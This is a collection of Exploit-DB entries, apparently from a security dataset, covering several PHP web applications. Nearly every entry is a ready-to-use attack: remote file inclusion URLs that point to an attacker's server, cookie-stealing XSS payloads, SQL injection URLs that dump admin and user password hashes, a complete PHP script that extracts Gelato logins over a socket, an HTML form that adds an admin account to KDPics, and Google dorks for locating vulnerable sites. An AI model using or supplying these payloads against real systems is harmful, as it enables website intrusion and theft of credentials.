deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3267
Description: Geeklog 2 - 'BaseView.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-05
Author: GoLd_M

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GeekLog <= 2.× (BaseView.php) Remote File Include Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
URL:

http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
V.CODE: In : [path]/system/libraries/Geeklog/MVCnPHP/BaseView.php
require $glConf['path_libraries'] . 'Geeklog/MVCnPHP/ViewInterface.php';
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

v.Cc/[path]/system/libraries/Geeklog/MVCnPHP/BaseView.php?glConf[path_libraries]=Evil.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Google d0rk: "powered by geeklog"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanx : All Libyan & Milw0rm.com & H4cky0u.Com & Google.Com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SpeciaL GreeTz : Tryag.Com & DwRaT.Com & Asb-May.Net
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# milw0rm.com [2007-02-05]
Exploit-DB #34738
Description: GejoSoft Image Hosting Community - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43486/info

GejoSoft Image Hosting Community is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/photos/tags/1<body+onload=alert[PII_REDACTED]59)>2009-07-20
Exploit-DB #34337
Description: Gekko Web Builder 9.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41726/info

Gekko Web Builder is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Gekko Web Builder 0.90 ALPHA is vulnerable; prior versions may be affected.

http://www.example.com/admin/index.php?app=settings"><script>alert(document.cookie)</script>
Exploit-DB #4410
Description: Gelato - 'index.php?post' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-14
Author: s0cratex

Exploit:
<?
#_ Gelato SQL Injection exploit
#_ Dork: "powered by gelato cms"
#_ Homepage: http://gelatocms.com

#_ [ s 0 c r a t e x ]
#_ msn: s0cratex[at]nasa[dot]gov
#_ greetz: D.O.M and plexinium team

ini_set("max_execution_time",0);

function get_text(){
  $in = fopen("php://stdin", 'r');
  $text = fgets($in, 1024);
  $text = trim($text);
  return $text; }

echo "Gelato SQL Injection exploit -- by s0cratex\n";
echo "-------------------------------------------\n\n";

echo "Host (site.com): ";
$host = get_text();

echo "Path (/gelato): ";
$path = get_text();

echo "Prefix (gl_ / gel_): ";
$prefix = get_text();

if($host && $path && prefix){
$cnx = fsockopen($host,80);
if($cnx){
fwrite($cnx,"GET
".$path."/index.php?post=-1/**/union/**/select/**/1,concat(0x7330633a3a,login,0x3a3a,password,0x3a3a),null,null,null,null,null/**/from/**/".$prefix."users/*
HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while(!feof($cnx)){ $resp .= fgets($cnx); }
fclose($cnx);

$login = strstr($resp,"s0c");
$login = explode("::",$login);
if(is_null($login[1]) || is_null($login[2])){ die("\nExploit failed... check
the prefix..."); }
echo "\nUsername: ".$login[1];
echo "\nMD5 Hash: ".$login[2];
} else { die("\nConection problems..."); }
} else { die("\nPlease check the data..."); }

/*
Gelato SQL Injection exploit -- by s0cratex
-------------------------------------------

Host (site.com): gelatocms.it
Path (/gelato): /
Prefix (gl_ / gel_): gel_

Username: wolly
MD5 Hash: 2eb7401af28ae266360b6028a26cc97a */

?>

# milw0rm.com [2007-09-14]
Exploit-DB #6235
Description: gelato CMS 0.95 - 'img' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-08-13
Author: JIKO

Exploit:
=---------------------------------------------=
=                ,.:oO0^-^0Oo:.,              =
=                      JIKO                   =
=                '':0Oov-voO0:''              =
=---------------------------------------------=
----------------------=JIKO=-------------------
| Autor    :> jiko
| Home     :> WwW.No-Exploit.CoM
| Script   :> gelato CMS
| Bug      :> Remote File Disclosure Vulnerability
| Download :> http://www.gelatocms.com/
_______________________________________________
=                   JIKI TEAm                 =
_______________________________________________
| Exploit:
.:|http://localhost/[Script]/classes/imgsize.php?img=[file]
~EX
.:|http://localhost/[script]/classes/imgsize.php?img=../index.php
| Greetz :
.:| Stack & Gold_M & HaCkeR_EgY  All Member wwW.No-Exploit.CoM
----------------------=JIKO=-------------------
=---------------------------------------------=
=                   JIKI TEAm                 =
=---------------------------------------------=

# milw0rm.com [2008-08-13]
Exploit-DB #35718
Description: Gelsheet 1.02 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-09
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47758/info

Gelsheet is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Gelsheet 1.02 is vulnerable; other versions may also be affected. 

http://www.example.com/fengoffice/public/assets/javascript/gelSheet/index.php?id=%3Cscript%3Ealert%280%29%3C/script%3E&wid=%3Cscript%3Ealert%280%29%3C/script%3E&book=%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #24009
Description: Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection
Type: webapps
Platform: php
Date: 2004-04-15
Author: jaguar

Exploit:
source: https://www.securityfocus.com/bid/10156/info

A vulnerability has been identified in the handling of input by Gemitel. Because of this, it may be possible for a remote user to gain unauthorized access to a system using the vulnerable software.

It is possible to influence the include path of certain files, which could lead to an attacker including arbitrary PHP files from an external system.

http://www.example.com/[Gemitel folder]/html/affich.php?base=http://[your server]/
Exploit-DB #10299
Description: GeN3 forum 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-04
Author: Dr.0rYX & Cr3W-DZ

Exploit:
# Author: Dr.0rYX & Cr3w-DZ
# Software Link: http://www.ptcpay.com/shop/browse_products.php
###############################


         NN         N     AAAAAA     SSSSSSSSS
         NNN       N   A           A    S
         N NN      N   A           A    S
         N  NN     N   A           A    S                        TTTTTT   EEEEE    AAAA    MM   MM
         N   NN    N   AAAAAAAA    SSSSSSSSS              TT      E         A      A   M M M M
         N     NN  N   A           A                   S             TT      E         A       A  M  M   M
         N      NN N   A           A                   S             TT      EEEE    AAAAAA  M       M
         N       NNN   A           A                   S             TT      E         A       A  M       M
         N        NN   A            A                   S             TT      E         A       A  M       M
         N          N   A            A    SSSSSSSSS             TT      EEEEE   A       A  M       M


                                                               ALGERIAN HACKER
                **********************- NORTH-AFRICA SECURITY TEAM -***********************

  [!]            GeN3 forum V1.3 SQL injection vulnerability
  [!] Author    : Dr.0rYX & Cr3w-DZ
  [!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

  ***************************************************************************/

  [ Software Information ]

  [+] Vendor : http://www.ptcpay.com
  [+] script   : GeN3 Version 1.3
  [+] Download : http://www.ptcpay.com/shop/browse_products.php
  [+] Version() : 1.3
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"main_forum.php?cat="

  **************************************************************************/
  [ Vulnerable File ]

  http://server/path/main_forum.php?cat=[N.A.S.T ]

  [ Exploit ]

  http://server/forum/main_forum.php?cat=-1+Union+ALL+Select+1,group_concat(aId,0x3a,aUsername,0x3a,apassword),3,4,5,6,7+FROM+admins--

  http://server/forum/main_forum.php?cat=-1+Union+ALL+Select+1,group_concat(userid,0x3a,Username,0x3a,password),3,4,5,6,7+FROM+users--

  [  GReet ]

  [+] :Cr3W-DZ , xcv-dz , CLAW , kader11000 , exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #9103
Description: gencms 2006 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-10
Author: eLwaux

Exploit:
GenCMS
http://gencms.berlios.de/

eLwaux(c)2009

LFI
/show.php
----------------------------------------------------------------------------------------------------
18:   $param = $_GET['p'];
19:   if(empty($param)) $param = 'news';
20:          //get right page
21:       //$page = $param.'.php';
22:	
23:    //static or dynamic
24:    if(GC_FULLSTATIC)
25:    {
26:        $page = $param.'.htm';
27:        staticpage($page);
28:    }
29:    else
30:    {
31:        $page = GC_IPATH.'_base/sites/'.$param.'.php';
32:        dynamicpage($page);
33:    }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00


LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14:   if(!empty($_GET['step'])) $Step = $_GET['step'];
23:   if ($Step == "2")
24:   {
25:        // allgemeine settings
26:        //include blocks from template config
27:        include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28:        $TPLBlocks = explode(';',$TemplateSettings);
29:   }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )

# milw0rm.com [2009-07-10]
Exploit-DB #2539
Description: Genepi 1.6 - 'genepi.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
Genepi <= 1.6 [topdir] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Genepi
version : 1.6
URL : anonymous@cvs.savannah.nongnu.org:/cvsroot/genepi genepi
------------------------------------------------------------------

Vurnerable CoDE:
~~~~~~~~~~~~~~~~~~~~~~~~~~

$libdir = $topdir . 'lib/';

//blablabla.....

//Including Genepi libs
//Base classes
include ($libdir . 'GenepiObject.php');
include ($libdir . 'parser.php');
include ($libdir . 'GenepiException.php');
include ($libdir . 'Dtd.php');

Exploit:
~~~~
Variable $topdir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/genepi.php?topdir=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-13]
Exploit-DB #11455
Description: Généré par KDPics 1.18 - Remote Add Admin
Type: webapps
Platform: php
Date: 2010-02-15
Author: snakespc

Exploit:
==============================================================================
[쨩] G챕n챕r챕 par KDPics v1.18 Remote Add Admin
==============================================================================
   
[쨩] Script:   [G챕n챕r챕 par KDPics v1.18] http://www.kdland.org/kdpics/
[쨩] Language: [ PHP ]
[쨩] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[쨩] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
[쨩] Dork:      "G챕n챕r챕 par KDPics v1.18"
###########################################################################
 ===[ Exploit ]===
   
<html>
<title>G챕n챕r챕 par KDPics v1.18 Remote Add Admin</title>
 
<body link="#00FF00" text="#008000" bgcolor="#000000">
 
<form method="POST" action="http://www.site.com/kdpics/admin/index.php3?page=options&categorie=">
<input type="hidden" name="type" value="add">
<table border="1" cellpadding="4" style="border-collapse: collapse" width="100%" bordercolor="#808080">
<tr>
<td class="top">
<p align="center"><b>User & Pass :Snakespc</b></p>
<p align="center"><b><font face="Comic Sans MS">
<a href="http://server/path//index.php?act=idx" style="text-decoration: none">
<font color="#00FF00">[쨩]Founder:[ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]</p>
[쨩] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]</p>[쨩] Dork:"G챕n챕r챕 par KDPics v1.18"</font></a></font></b></p>
<p align="center"><b>Username:</b></td>
</tr>
<tr>
<td height="1">
<p align="center"><input type="text" name="adminuser" size="30" value="Snakespc"></td>
</tr>
<tr>
<td class="top">
<p align="center"><b>Password:</b></td>
</tr>
<tr>
 
<td height="22">
<p align="center">
<input type="password" name="adminpass" size="30" value="Snakespc"></td>
</tr>
<tr>
<td align="right">
<p align="center">
<input type="submit" value="Add User >>" style="font-weight: 700"></td>
</tr>
</form>
</table>
</html>
[쨩]Author: Snakespc <-
###########################################################################
Exploit-DB #12442
Description: GeneShop 5.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: 41.w4r10r

Exploit:
# Vendor Link : http://softbizscripts.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# Dork :  inurl:"browse.php?folder=" Powered by GeneShop 5
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Harin,Jappy,Dark_Blue,sid3^3f3c7
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################


All Earlier Version also Vulnerable


Exploited Link :

http://example.com/[path]/browse.php?folder=1'



Demo :

http://example.com/[path]/browse.php?folder=-1+union+select+1,version(),3,4,5,6--


#41.w4r10r mailto:41.w4r10r@andhrahackers.com
Exploit-DB #29282
Description: GenesisTrader 1.0 - 'form.php' Arbitrary File Source Disclosure
Type: webapps
Platform: php
Date: 2006-12-14
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21595/info

GenesisTrader is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include multiple information-disclosure vulnerabilities, an arbitrary file-upload vulnerability, and multiple cross-site scripting vulnerabilities.

An attacker can exploit these issues to upload and execute malicious PHP code in the context of the webserver process, to view sensitive information, and to steal cookie-based authentication credentials. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Exploiting these issues may aid the attacker in further attacks.

Version 1.0 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/form.php?floap=modfich&do=[FILE]
http://www.example.com/form.php?floap=modfich&chem=[FILE]
Exploit-DB #29283
Description: GenesisTrader 1.0 - 'form.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-12-14
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21595/info
 
GenesisTrader is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include multiple information-disclosure vulnerabilities, an arbitrary file-upload vulnerability, and multiple cross-site scripting vulnerabilities.
 
An attacker can exploit these issues to upload and execute malicious PHP code in the context of the webserver process, to view sensitive information, and to steal cookie-based authentication credentials. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Exploiting these issues may aid the attacker in further attacks.
 
Version 1.0 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/index.php?cuve=[XSS]
http://www.example.com/form.php?floap=ajoutfich&cuve=[XSS]
http://www.example.com/form.php?floap=modfich&chem=[XSS]
http://www.example.com/form.php?floap=modfich&do=[XSS]
http://www.example.com/form.php?floap=rename&chem=[XSS]
http://www.example.com/form.php?floap=rename&do=[XSS]
http://www.example.com/form.php?floap=copy&chem=[XSS]
http://www.example.com/form.php?floap=copy&do=[XSS]
http://www.example.com/form.php?floap=chmod&chem=[XSS]
http://www.example.com/form.php?floap=chmod&do=[XSS]
Exploit-DB #37360
Description: GeniXCMS 0.0.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-06-24
Author: hyp3rlinx

Exploit:
# Exploit Title:  Persistent XSS
# Google Dork: intitle: Persistent XSS
# Date: 2015-06-21
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: genixcms.org
# Software Link: genixcms.org
# Version: 0.0.3
# Tested on: windows 7
# Category: webapps


Vendor:
=============================================
genixcms.org



Product:
=====================================================
GeniXCMS v0.0.3 is a PHP based content management system



Advisory Information:
===================================================
Multiple persistent & reflected XSS vulnerabilities



Vulnerability Details:
=========================================================
GeniXCMS v0.0.3 is vulnerable to persistent and reflected XSS 


XSS Exploit code(s):
====================

Persistent XSS:
-----------------------
http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&act=add&token=

1-content input field
content injected XSS will execute after posting is published

2-title input field
title injected XSS will execute immediate.


Relected XSS:
---------------------
http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&q=1'<script>alert('XSS By Hyp3rlinx')</script>



Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 21, 2015 : Public Disclosure



Severity Level:
=========================================================
Med



Description:
=========================================================

Request Method(s):         [+] GET & POST 


Vulnerable Product:        [+] GeniXCMS 0.0.3 


Vulnerable Parameter(s):   [+] q, content & title
                       

Affected Area(s):          [+] index.php
                                                       

===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and similar, provided that
due credit is given to the author. The author is not responsible for any misuse of the
information contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.


(hyp3rlinx)
Exploit-DB #32308
Description: GenPortal - 'buscarCat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-01
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30957/info

GenPortal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/buscarCat.php?palBuscar=[XSS]
Exploit-DB #18708
Description: GENU CMS - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-05
Author: hordcode security

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
GENU CMS SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by h0rd h0rd[at]null.net
homepage http://h0rd.net
download http://www.gnew.fr/pages/download.php?file=GENU-2012.3.tar.gz
vulnerability in read.php
vuln code:
[...]
include('./../includes/common.php');

page_header($lang['ARTICLES_READ_TITLE']);

if (isset($_GET['article_id']))
{
    $sql->query('SELECT ' . TABLE_ARTICLES . '.article_date, ' . TABLE_ARTICLES . '.article_subject, ' . TABLE_ARTICLES . '.article_text, ' . TABLE_USERS . '.user_id, ' . TABLE_USERS . '.user_name
                 FROM ' . TABLE_ARTICLES . ', ' . TABLE_USERS . '
                 WHERE ' . TABLE_ARTICLES . '.user_id = ' . TABLE_USERS . '.user_id
                 AND ' . TABLE_ARTICLES . '.article_id = ' . $_GET['article_id']);
    $table_articles = $sql->fetch();
[...]

PoC exploit:
http://[host]/articles/read.php?article_id=null union select 1,concat(user_name,0x3a,0x3a,0x3a,user_password),3,4,5 from genu_users--
Exploit-DB #28249
Description: GeoAuctions 1.0.6 Enterprise - 'index.php?d' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-20
Author: LBDT

Exploit:
source: https://www.securityfocus.com/bid/19093/info

GeodesicSolutions products are prone to multiple SQL-injection vulnerabilities because the applications fail to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Note that these vulnerabilities occur only when the 'accumulative feedback' feature is turned on.

http://www.example.com/GeoAuctionsEnterprise/index.php?a=1030&b=~ID_NUMBER~&d=[SQL]